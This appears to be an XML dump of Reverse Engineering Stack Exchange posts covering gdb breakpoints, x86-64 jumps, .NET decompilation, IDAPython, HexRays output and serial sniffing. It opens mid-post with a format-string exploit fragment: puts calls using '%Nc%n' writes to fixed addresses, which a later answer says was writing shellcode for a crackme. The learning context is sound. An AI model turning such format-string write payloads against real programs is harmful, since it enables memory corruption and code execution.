0x804bb06);&#xA;    puts(&quot;%11c%n&quot;, 42, 0x804bb07);&#xA;    puts(&quot;%88c%n&quot;, 42, 0x804bb08);&#xA;    puts(&quot;%137c%n&quot;, 42, 0x804bb09);&#xA;    puts(&quot;%227c%n&quot;, 42, 0x804bb0a);&#xA;    puts(&quot;%137c%n&quot;, 42, 0x804bb0b);&#xA;    puts(&quot;%209c%n&quot;, 42, 0x804bb0c);&#xA;    puts(&quot;%153c%n&quot;, 42, 0x804bb0d);&#xA;    puts(&quot;%205c%n&quot;, 42, 0x804bb0e);&#xA;    puts(&quot;%128c%n&quot;, 42, 0x804bb0f);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can the reason be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FBqlL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBqlL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-19T09:29:26.327" Title="Why doesn't the breakpoint get hit in gdb?" Tags="|gdb|breakpoint|crackme|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14441" PostTypeId="2" ParentId="14439" CreationDate="2017-01-19T06:21:44.510" Score="3" Body="&lt;p&gt;There is no JMP-64bit-OFFSET instruction in AMD64 (don't ask me, normaly they are not stingy with new opcodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote from &lt;a href=&quot;http://ref.x86asm.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86asm.net&lt;/a&gt; about JMPF:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AMD64 Architecture Programmer's Manual Volume 3: If the operand-size&#xA;  is 32 or 64 bits, the operand is a 16-bit selector followed by a&#xA;  32-bit offset. (On AMD64 architecture, 64-bit offset is not supported)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What one would do instead, is to use an indirect jump like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, 0x100000ebb&#xA;jmp rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also works for 32 bit applications and directly jumps to the address contained in the register (no offset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further information, have a look at the related questions at StackOverflow: &lt;a href=&quot;https://stackoverflow.com/questions/23814334/assembler-x64-bit-far-calls-jumps&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/9815448/jmp-instruction-hex-code&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about assembler and signs: The highest-value bit in a byte sequence is usually considered to be the sign bit. For example, when using relative jumps, it will treat the offset as a two-complement number. If the result is negative, it subtracts the number from the instruction pointer.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-01-19T08:08:04.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14442" PostTypeId="2" ParentId="14440" CreationDate="2017-01-19T09:29:26.327" Score="2" Body="&lt;p&gt;I found out the reason myself and it was truly enlightening! To insert a breakpoint, gcc replaces the bytes at the beginning of the breakpoint location with &lt;code&gt;INT 3&lt;/code&gt; instruction (&lt;code&gt;0xCC&lt;/code&gt; byte) and records the original byte replaced in its internal table. The input was writing a shellcode at the location I was trying to set a breakpoint on. Since the shellcode was interfereing with the breakpoint, it was overwriting the &lt;code&gt;0xCC&lt;/code&gt; bytes, thereby failing gcc to insert a software breakpoint.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-19T09:29:26.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14443" PostTypeId="2" ParentId="13689" CreationDate="2017-01-19T09:57:08.807" Score="8" Body="&lt;p&gt;Run radare2 in debug mode. &lt;code&gt;r2 -d&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18817" LastActivityDate="2017-01-19T09:57:08.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14444" PostTypeId="1" AcceptedAnswerId="14446" CreationDate="2017-01-19T10:03:46.397" Score="1" ViewCount="123" Body="&lt;p&gt;I'm gathering that it's nearly a waste of time to try to reverse .NET applications in a native debugger. But why? Of course the computer is executing machine code in the end, not CIL. So what clutters the x86-64 code so much when running a .NET application? Is the general rule to use native debuggers on native code and tools like ILSpy on .NET?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-01-19T11:37:50.960" Title="What is the relationship between .NET and x86-64 assembly?" Tags="|debuggers|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14445" PostTypeId="2" ParentId="14444" CreationDate="2017-01-19T11:25:04.933" Score="2" Body="&lt;p&gt;I think it's more that you're debugging the code that launches the runtime assembly (and produces an error if it's not found) then after that is just pure MSIL which is effectively in another language (rather than machine code), which gets interpreted by the runtime (think of it like Java bytecode).. which will be meaningless without translating that to what the virtual machine would do... which a good .NET decompiler would actually convert to code for you anyway.&lt;/p&gt;&#xA;" OwnerUserId="18831" LastEditorUserId="18831" LastEditDate="2017-01-19T11:30:30.270" LastActivityDate="2017-01-19T11:30:30.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14446" PostTypeId="2" ParentId="14444" CreationDate="2017-01-19T11:37:50.960" Score="1" Body="&lt;p&gt;Microsoft .Net uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Intermediate_Language&quot; rel=&quot;nofollow noreferrer&quot;&gt;CIL&lt;/a&gt; (Common Intermediate Language). It is a - bytecode - assembly language for a virtual machine which is an abstract stack-based CPU - by abstract I mean not implemented in hardware.&lt;br&gt;&#xA;Therefore, x86 gdb cannot make sense of the .Net bytecode given that all it knows is x86 assembly. &#xA;But, in general you can easily reverse a bytecode into source code (because the VM states are more deterministic than those of a hardware CPU) or debug it using and .Net virtual machine with debug capabilities (i.e. ILSpy). &#xA;If you want more info on debuggers/decompilers/... for .Net check out this &lt;a href=&quot;http://scottge.net/2015/07/16/best-net-decompiler-tools/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&#xA;Also, if you debug with gdb, you're most likely to be debugging the VM assembly code rather than the .Net bytecode of the application. In other words, what you are seeing is the VM running bytecode, not the bytecode running. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2017-01-19T11:37:50.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14448" PostTypeId="1" AcceptedAnswerId="14453" CreationDate="2017-01-19T19:55:30.577" Score="1" ViewCount="841" Body="&lt;p&gt;My goal is to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;extract function names,&lt;/li&gt;&#xA;&lt;li&gt;the libraries they come from (if the functions were imported),&lt;/li&gt;&#xA;&lt;li&gt;function arguments, and&lt;/li&gt;&#xA;&lt;li&gt;strings&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;from a .NET binary. How can I do this?&#xA;Is this possible using tools like &lt;a href=&quot;http://www.telerik.com/products/decompiler.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;JustDecompile&lt;/a&gt;&#xA;or &lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.NET Reflector&lt;/a&gt;? Do they offer an API that allows to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed IDA's Function Window is populated, but the Strings Window is not. In addition, I guess it would be easier (e.g. to get function arguments) to use a tool that does decompilation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:&#xA;The code is not obfuscated, it is not malware but regular software.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2017-01-21T04:39:52.287" Title="How to programatically extract function names, function arguments and strings from a .NET binary?" Tags="|windows|tools|.net|decompiler|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14450" PostTypeId="1" AcceptedAnswerId="14452" CreationDate="2017-01-19T21:26:55.293" Score="3" ViewCount="3412" Body="&lt;p&gt;I have this very simple piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// test.c&#xA;int main(){&#xA;  int a = 0;&#xA;  char b[10];&#xA;  int c = 0;&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled with gcc (6.2.1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -g -o test test.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And analysed with gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q test&#xA;(gdb) break 6                (the return statement)&#xA;(gdb) run&#xA;(gdb) x &amp;amp;a&#xA;0x7fffffffecb8: 0x00000000&#xA;(gdb) x b&#xA;0x7fffffffecc0: 0x00000001&#xA;(gdb) x &amp;amp;c&#xA;0x7fffffffecbc: 0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can clearly see that in memory, the variables are defined in this order: a, c, b.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason for that?&lt;/p&gt;&#xA;" OwnerUserId="18431" LastActivityDate="2017-01-22T23:12:36.403" Title="GCC change the order of variable declaration" Tags="|gdb|gcc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14451" PostTypeId="1" CreationDate="2017-01-19T21:49:12.060" Score="0" ViewCount="549" Body="&lt;p&gt;Following this &lt;a href=&quot;http://www.hexblog.com/?p=107&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt; post, I am writing an IDAPython code to traverse the AST generated by the decompiler in order to extract some information. I am providing both my AST, the Python code and the output. The problem is, the effective address is the same for both the current item and its parent which shouldn't be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Python code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;&#xA;&#xA;class sample_visitor_t(ctree_visitor_t):&#xA;    def __init__(self, log_message_xref_addr):&#xA;        self.log_message_xref_addr = log_message_xref_addr&#xA;        ctree_visitor_t.__init__(self, CV_PARENTS)&#xA;        return&#xA;&#xA;    def visit_expr(self, expr):&#xA;        if expr.op != cot_call:&#xA;            return 0&#xA;&#xA;        method_name = get_func_name(expr.x.obj_ea)&#xA;        if expr.a.size() &amp;gt; 0:&#xA;            args = expr.a&#xA;            for arg in args:&#xA;                if arg.ea == self.log_message_xref_addr:&#xA;                    print method_name, hex(expr.ea)&#xA;                    pexpr = self.parent_expr()&#xA;                    print(hex(pexpr.ea), pexpr.op)&#xA;&#xA;        return 0&#xA;&#xA;&#xA;def traverse(func_addr, log_message_xref_addr):&#xA;    function = get_func(func_addr)&#xA;    cfunc = decompile(function)&#xA;    visitor = sample_visitor_t(log_message_xref_addr)&#xA;    visitor.apply_to(cfunc.body, None)&#xA;&#xA;&#xA;traverse(0x8F62635C, 0x8F626570)    # emmc_recovery_init = 0x8F62635C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompilation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int emmc_recovery_init()&#xA;{&#xA;  int v0; // lr@0&#xA;  unsigned __int64 v1; // r6@1&#xA;  size_t v2; // r0@1&#xA;  recovery_message *v3; // r4@1&#xA;  uint32_t v4; // r8@2&#xA;  int v5; // r0@2&#xA;  int v6; // r10@2&#xA;  uint8_t v7; // r0@3&#xA;  unsigned __int8 v8; // r3@5&#xA;  int result; // r0@12&#xA;  unsigned int status; // [sp+8h] [bp-28h]@1&#xA;  void *v11; // [sp+Ch] [bp-24h]@13&#xA;&#xA;  status = 0;&#xA;  LODWORD(v1) = v0;&#xA;  v2 = mmc_get_device_blocksize();&#xA;  v3 = (recovery_message *)memalign(0x40u, v2);&#xA;  if ( !v3 )&#xA;LABEL_29:&#xA;    panic((void *)v1, &quot;msg&quot;);&#xA;  v4 = mmc_get_device_blocksize();&#xA;  v5 = partition_get_index(&quot;misc&quot;);&#xA;  v6 = v5;&#xA;  if ( v5 &amp;lt; 0 )&#xA;  {&#xA;    dprintf(&quot;%s: Partition not found\n&quot;, &quot;misc&quot;);&#xA;  }&#xA;  else&#xA;  {&#xA;    v1 = partition_get_offset(v5);&#xA;    v7 = partition_get_lun(v6);&#xA;    mmc_set_lun(v7);&#xA;    if ( v1 )&#xA;    {&#xA;      if ( !mmc_read(v1, HIDWORD(v1), v3, v4) )&#xA;      {&#xA;        v8 = v3-&amp;gt;command[0];&#xA;        v3-&amp;gt;command[31] = 0;&#xA;        if ( (unsigned __int8)(v8 - 1) &amp;lt;= 0xFDu )&#xA;          dprintf(&quot;Recovery command: %d %s\n&quot;, 32, v3);&#xA;        if ( !strcmp(v3-&amp;gt;command, &quot;boot-recovery&quot;) )&#xA;          boot_into_recovery = 1;&#xA;        if ( !strcmp(&quot;update-radio&quot;, v3-&amp;gt;command) )&#xA;        {&#xA;          if ( !get_boot_info_apps(2u, &amp;amp;status) &amp;amp;&amp;amp; status &amp;amp; 1 )&#xA;          {&#xA;            dprintf(&quot;radio update success\n&quot;);&#xA;            strlcpy(v3-&amp;gt;status, &quot;OKAY&quot;, 0x20u);&#xA;          }&#xA;          else&#xA;          {&#xA;            dprintf(&quot;radio update failed\n&quot;);&#xA;            strlcpy(v3-&amp;gt;status, &quot;failed-update&quot;, 0x20u);&#xA;          }&#xA;          boot_into_recovery = 1;&#xA;          if ( strcmp(&quot;reset-device-info&quot;, v3-&amp;gt;command) )&#xA;          {&#xA;LABEL_11:&#xA;            if ( strcmp(&quot;root-detect&quot;, v3-&amp;gt;command) )&#xA;            {&#xA;out:&#xA;              free(v3);&#xA;              result = 0;&#xA;              goto LABEL_13;&#xA;            }&#xA;LABEL_15:&#xA;            set_device_root();&#xA;            strlcpy(v3-&amp;gt;command, (const unsigned __int8 *)&quot;&quot;, 0x20u);&#xA;            emmc_set_recovery_msg(v3);&#xA;            goto out;&#xA;          }&#xA;        }&#xA;        else if ( strcmp(&quot;reset-device-info&quot;, v3-&amp;gt;command) )&#xA;        {&#xA;          goto LABEL_11;&#xA;        }&#xA;        reset_device_info();&#xA;        if ( strcmp(&quot;root-detect&quot;, v3-&amp;gt;command) )&#xA;          goto out;&#xA;        goto LABEL_15;&#xA;      }&#xA;      dprintf(&quot;mmc read failure %s %d\n&quot;, &quot;misc&quot;, v4);&#xA;    }&#xA;    else&#xA;    {&#xA;      dprintf((const unsigned __int8 *)&quot;partition %s doesn't exist\n&quot;, &quot;misc&quot;);&#xA;    }&#xA;  }&#xA;  if ( v3 )&#xA;  {&#xA;    free(v3);&#xA;    result = -1;&#xA;  }&#xA;  else&#xA;  {&#xA;    result = -1;&#xA;  }&#xA;LABEL_13:&#xA;  if ( v11 != _stack_chk_guard )&#xA;    goto LABEL_29;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_dprintf 0x8f626574L&#xA;('0x8f626574L', 72)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-19T21:49:12.060" Title="Why is IDAPython decompiler API returning the same effective address for both the current item and its parent?" Tags="|ida|decompilation|idapython|decompile|decompiler|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14452" PostTypeId="2" ParentId="14450" CreationDate="2017-01-20T00:47:15.083" Score="5" Body="&lt;p&gt;My best guess : memory alignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An integer in &lt;strong&gt;C&lt;/strong&gt; is 4 bytes and a char 1 byte. Therefore, your declarations go like this : 4B &amp;amp; 1x10=10B &amp;amp; 4B. This order means that the 10B won't be aligned on a power of two memory boundary without wasting space. Data accesses are faster on x86 machines when arrays are aligned on 16B/32B/64B - BTW 64B is the size of cacheline). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the compiler finds it more optimal to align the first two 4B variables 0x---ECCB8 &amp;amp; 0x---ECBC (the difference is 4bytes). Then choose the closest aligned memory location 0x---ECC0 for the array (0x---ECC0 - 0x---ECBC = 4B); the zero at the end implies the address is dividable by a power of two. If you forget about the 7F... and convert ECC0 to base 10 you get 60608 which is dividable by 64, 32, 16, ... We can assume safely then that the compiler optimized the array placement to match a 64B memory alignment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should read &lt;a href=&quot;https://people.freebsd.org/~lstewart/articles/cpumemory.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ulrich Drepper&lt;/a&gt;'s document on memory and check Agner Fog's &lt;a href=&quot;http://agner.org/optimize/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Software Optimization Manuals&lt;/a&gt;. Gold mines! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addendum :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to play around with memory alignment I suggest that you check out how compiler perform data layout restructuring and padding of structures in &lt;strong&gt;C&lt;/strong&gt;. Padding means that compilers add sometimes extra bytes to reach a power of two boundary. For example, imagine you have a code that contains the following   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    typedef struct { int x; int y; int z; } point3D;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This declaration contains three 4B variables = 12B, not a power of 2. The compiler will most likely add another 4B to align it with the closest power of 2 boundary : 16B. Therefore, after compilation your declaration will look like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    typedef struct {int x; int y; int z; char[4] padding; } point3D;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now with regard to your comment, I'd suggest trying the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       #include &amp;lt;stdio.h&amp;gt;&#xA;       #include &amp;lt;emmintrin.h&amp;gt; //Required for mm_malloc&#xA;       #define ALIGN 64&#xA;       int main(){&#xA;       int *a = _mm_malloc(sizeof(int), ALIGN);&#xA;       char b[10];&#xA;       int *c = _mm_malloc(sizeof(int), ALIGN);&#xA;&#xA;       printf(&quot;a: %p\nb: %p\nc: %p, a, b, c);&#xA;&#xA;       return 0; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many variants of &lt;em&gt;malloc&lt;/em&gt; (and tricks with the normal &lt;em&gt;malloc&lt;/em&gt;) which let you align your memory on the boundary you seem fit for your code.&#xA;Keep in mind that you have two types of memory for a binary program : the &lt;em&gt;heap&lt;/em&gt; which is manipulated using &lt;em&gt;malloc&lt;/em&gt; type functions, and the stack, which is left to the compiler to handle (function parameters, register saving, local variables, ...). The only way you can control the stack usage and data alignment is by doing it yourself using assembly code or, if the compiler handles it, compiler directives and parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code allocates three local variables to &lt;em&gt;main&lt;/em&gt;. Thefore, they'll be allocated in the stack, and given that your code goes through a compiler it will perform all necessary actions to align these variables using a heuristic analysis (optimistic predictive memory placement). If you compile the code provided above, you'll notice that the addresses aren't similar (heap vs. stack). 0x7FF---? for stack variables and 0x000---? for heap variables. You can play around with these functions and figure a lot of things for yourself. In doubt, refer to the documentation : Intel Software Optimization manual, Agner's, ...&#xA;Next step if you want to understand things clearly is to delve into the OS memory allocation and paging scheme and the x86 architecture in order to understand better the requirement for alignment : cache line size, memory segmentation &amp;amp; BSI (Base + Scale * Index; scale can only take the following values : 1, 2, 4, and 8).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this addendum makes things clearer for you. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2017-01-22T23:12:36.403" LastActivityDate="2017-01-22T23:12:36.403" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14453" PostTypeId="2" ParentId="14448" CreationDate="2017-01-20T01:57:34.333" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/0xd4d/dnlib&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnlib&lt;/a&gt;, used by the very powerful &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; (.net disassembler), is an open source .net library to analyse .net modules &amp;amp; assemblies which may be what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also have an example similar to your use case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/0xd4d/dnlib/blob/master/Examples/Example1.cs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Opens mscorlib.dll and then prints out all types in the assembly, including the number of methods, fields, properties and events each type has.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2017-01-20T01:57:34.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14455" PostTypeId="1" CreationDate="2017-01-20T05:27:12.153" Score="3" ViewCount="916" Body="&lt;p&gt;My HexRays decompiler output often looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  v0 = LoadLibraryW(L&quot;wininet.dll&quot;);&#xA;  v1 = v0;&#xA;  if ( !v0 )&#xA;    goto LABEL_1;&#xA;  v2 = GetProcAddress(v0, &quot;InternetOpenW&quot;);&#xA;  v3 = GetProcAddress(v1, &quot;InternetConnectW&quot;);&#xA;  v4 = v2;&#xA;  v5 = v4;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To me, there's just a couple variables here.  v0, v2, and v3.  The rest are entirely duplicate.  Is it possible to clean up my decompiler output to eliminate these extraneous variables?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2021-03-11T11:28:25.480" Title="Cleaning HexRays Output" Tags="|ida|hexrays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14456" PostTypeId="2" ParentId="14455" CreationDate="2017-01-20T06:05:51.267" Score="2" Body="&lt;p&gt;Starting from v6.6, IDA supports &lt;a href=&quot;http://www.hexblog.com/?p=107&quot; rel=&quot;nofollow noreferrer&quot;&gt;decompiler API&lt;/a&gt;. The documentation is poor, almost non-existing. Yet, in theory, it should be possible to write a plugin to perform static analysis on the abstract syntax tree (AST) produced by the decompiler, thereby eliminating useless unit assignments.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-20T06:05:51.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14457" PostTypeId="2" ParentId="14455" CreationDate="2017-01-20T07:09:10.470" Score="5" Body="&lt;p&gt;Locate cursor at v1 and press &lt;kbd&gt;=&lt;/kbd&gt; . If I remember it correctly since IDA 6.6 it will allow you to define that some variable is actually same as other.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-01-20T12:07:04.730" LastActivityDate="2017-01-20T12:07:04.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14458" PostTypeId="1" AcceptedAnswerId="14461" CreationDate="2017-01-20T08:36:50.343" Score="1" ViewCount="131" Body="&lt;p&gt;So I have a program which is highly obfuscated and generates a unique output every time. For ease of reversing I want to make it so that the output is the same for every run (following the logic that if the output is the same, the logic executed will be the same, roughly..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one point &lt;code&gt;strace&lt;/code&gt; shows that the program does a number of calls to &lt;code&gt;clock_gettime&lt;/code&gt; just before it generates an id. So I created a kernel module that makes &lt;code&gt;clock_gettime&lt;/code&gt; return exactly the same time. Yet the program is still able to produce a unique output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion all programs must make system calls to get unique entropy for seeding random functions and without making any system calls (or if all system calls they did make were made to return non-unique entropy) the program can't produce unique (random) data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ways I'm missing that the program can get unique entropy without showing up on &lt;code&gt;strace&lt;/code&gt; (i.e. without making a system call)?&lt;/p&gt;&#xA;" OwnerUserId="18572" LastActivityDate="2017-01-20T10:43:15.577" Title="Removing randomness from program execution" Tags="|system-call|entropy|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14459" PostTypeId="1" AcceptedAnswerId="14460" CreationDate="2017-01-20T08:56:16.277" Score="0" ViewCount="626" Body="&lt;p&gt;In a nutshell:  I've sniffed the data that goes from the controlling PC to the modem via RS232 serial port by building a little Y-adapter, now I want to figure out how to reverse engineer that data so that I can have full access to the device. My approach is to do one operation at a time and look for a pattern in the incoming data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have some problems with the code I received by using PySerial in Python. I hope you can help me. Here is an example for one single operation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b'_S\xf0\xfb\x15\xf5_S\xf0S%\xc5_S\xf0\x1bY\xf7_S\xf0\xda\xd1\xf7_S\xf0_=\xf3'&lt;/code&gt; (marked as byte string by the 'b')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or sorted as 'question' and 'answer': data sent by DTE (left) and DCE (right)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DTE (PC)  DCE (modem)&#xA;    _S\xf0    \xfb\x15\xf5 &#xA;    _S\xf0    S%\xc5 &#xA;    _S\xf0    \x1bY\xf7 &#xA;    _S\xf0    \xda\xd1\xf7 &#xA;    _S\xf0    _=\xf3 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see some of it is hexadecimal code (marked by the '/x')- some of it is not. I tried to understand it for quite some time now, but I'm still not sure if this is really the raw code or Python has to convert some of it to ASCII on order to be able to show it to me (like the '_S' letters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know this because as a next step I want my Python script to act as the new controlling PC. For this I want to use the &lt;code&gt;serial.write&lt;/code&gt;-command of PySerial. It seems that it doesn't work to just send the string I received. Maybe I made some other mistake but my question remains: is this the raw code the device sends and receives? Or do I have to convert it some other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Tobi&lt;/p&gt;&#xA;" OwnerUserId="18106" LastEditorUserId="18106" LastEditDate="2017-01-20T09:44:32.927" LastActivityDate="2017-01-20T15:56:50.500" Title="Handling of the communication data I received with PySerial (Python)" Tags="|python|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14460" PostTypeId="2" ParentId="14459" CreationDate="2017-01-20T09:07:31.893" Score="0" Body="&lt;p&gt;I would just put this as a comment but I don't have enough rep yet.&#xA;Yes your correct, Python is showing some characters as their ASCII representations. The ones marked as hexadecimal are the characters that don't have a printable ASCII representation. Using that string as-is should work fine to send with &lt;code&gt;write&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: maybe I don't quite understand but if you want to mimic the controlling PC (or the modem for that matter) you only want to send half of the data you have sniffed to the other device (i.e the &quot;question&quot;s or DTE (whatever that means)). Sending all data sniffed to a single device would likely end in confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT#2: From your comment, it seems as though you are unsure of how binary data (i.e. data consisting of mostly non-printable characters) can be represented in strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;_&quot; == &quot;\x5f&quot; # =&amp;gt; True&#xA;&quot;S&quot; == &quot;\x53&quot; # =&amp;gt; True&#xA;# therefore:&#xA;b'_S\xf0' == '\x5f\x53\xf0' # =&amp;gt; True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hexadecimal is merely another way of representing ASCII characters and is just for us humans. While it may look like its in two forms when printed, in memory its all just bytes. Its tricky to explain and its one of these things that you'll just eventually understand. I couldn't find a good tutorial on it unfortunately.&lt;/p&gt;&#xA;" OwnerUserId="18572" LastEditorUserId="18572" LastEditDate="2017-01-20T15:56:50.500" LastActivityDate="2017-01-20T15:56:50.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
